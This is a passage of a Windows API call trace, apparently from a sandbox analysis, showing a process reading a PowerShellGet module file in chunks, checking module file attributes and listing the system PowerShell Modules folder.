lpOverlapped=0x0) returned 1 [0115.215] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x69000 [0115.215] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.215] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6a000 [0115.215] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.215] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6b000 [0115.215] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.216] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6c000 [0115.216] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.216] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6d000 [0115.216] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.216] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6e000 [0115.216] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.216] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6f000 [0115.217] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.217] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x70000 [0115.217] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.217] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x71000 [0115.217] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.217] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x72000 [0115.217] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.218] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x73000 [0115.218] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.218] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x74000 [0115.218] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.218] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x75000 [0115.218] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.219] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x76000 [0115.219] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.219] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x77000 [0115.219] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.219] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x78000 [0115.219] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.219] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x79000 [0115.219] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.220] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7a000 [0115.220] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.220] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7b000 [0115.220] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.220] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7c000 [0115.220] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.220] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7d000 [0115.221] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.221] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7e000 [0115.221] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.221] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7f000 [0115.221] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.221] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x80000 [0115.221] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.222] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x81000 [0115.222] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.222] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x82000 [0115.222] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.222] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x83000 [0115.222] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.222] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x84000 [0115.223] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.223] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x85000 [0115.223] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.223] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x86000 [0115.223] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.223] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x87000 [0115.224] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.224] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x88000 [0115.224] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.224] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x89000 [0115.224] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.224] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x8a000 [0115.224] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.225] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x8b000 [0115.225] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.225] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x8c000 [0115.225] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0xaa9, lpOverlapped=0x0) returned 1 [0115.225] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x8caa9 [0115.225] ReadFile (in: hFile=0x3f8, lpBuffer=0x2064f11, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x2064f11*, lpNumberOfBytesRead=0x572da2c*=0x0, lpOverlapped=0x0) returned 1 [0115.225] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x8caa9 [0115.225] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x0, lpOverlapped=0x0) returned 1 [0115.239] CloseHandle (hObject=0x3f8) returned 1 [0116.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0116.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0116.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d784) returned 1 [0116.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2704868 | out: lpFileInformation=0x2704868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0116.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d780) returned 1 [0116.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0116.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e57c) returned 1 [0116.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2728dac | out: lpFileInformation=0x2728dac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0116.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e578) returned 1 [0116.550] EtwEventActivityIdControl () returned 0x0 [0116.552] SetEvent (hEvent=0x3f4) returned 1 [0116.552] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572ed5c*=0x3f4, lpdwindex=0x572eb80 | out: lpdwindex=0x572eb80) returned 0x0 [0116.553] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.553] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0116.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec3c) returned 1 [0116.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x272bdb0 | out: lpFileInformation=0x272bdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0116.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec38) returned 1 [0116.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0116.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0116.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0116.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0116.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0116.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0116.557] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0116.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0116.558] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0116.558] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0116.558] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3788c0 [0116.558] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0116.559] FindNextFileW (in: hFindFile=0x3788c0, 